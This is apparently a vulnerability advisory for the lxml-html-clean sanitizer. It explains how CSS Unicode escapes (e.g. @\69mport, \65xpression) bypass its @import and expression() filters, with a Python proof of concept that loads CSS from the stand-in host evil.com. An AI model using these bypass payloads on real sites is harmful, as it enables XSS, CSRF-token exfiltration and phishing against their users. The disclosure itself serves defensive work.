lxml-html-clean has CSS @import Filter Bypass via Unicode Escapes

Summary

The _has_sneaky_javascript() method strips backslashes before checking for dangerous CSS keywords. This causes CSS Unicode escape sequences to bypass the @import and expression() filters, allowing external CSS loading or XSS in older browsers.

Details

The root cause is located in clean.py (around line 594):

style = style.replace('\\', '')

This transformation changes a payload like @\69mport into @69mport. This resulting string does NOT match the blacklist keyword @import. However, all modern browsers' CSS parsers decode \69 as the character 'i' (hex 69) according to CSS spec section 4.3.7, interpreting @\69mport as a valid @import statement.

Same root cause bypasses expression() detection: \65xpression(alert(1)) passes through (IE only).

PoC

from lxml_html_clean import clean_html

# Normal @import is correctly blocked:
# clean_html('<style>@import url("http://evil.com/x.css");</style>')
# Output: <div><style> url("http://evil.com/x.css");</style></div>

# Unicode escape bypass:
result = clean_html('<style>@\\69mport url("http://evil.com/x.css");</style>')
print(result)
# Output: <div><style>@\69mport url("http://evil.com/x.css");</style></div>

If rendered in a browser, the browser loads the external CSS. Variants like @\0069mport, @\69 mport (trailing space), and @\49mport (uppercase I) also work.

Impact

External CSS loading enables data exfiltration via attribute selectors (e.g., reading CSRF tokens), UI redressing, and phishing. In older browsers (IE), this allows for full XSS via expression().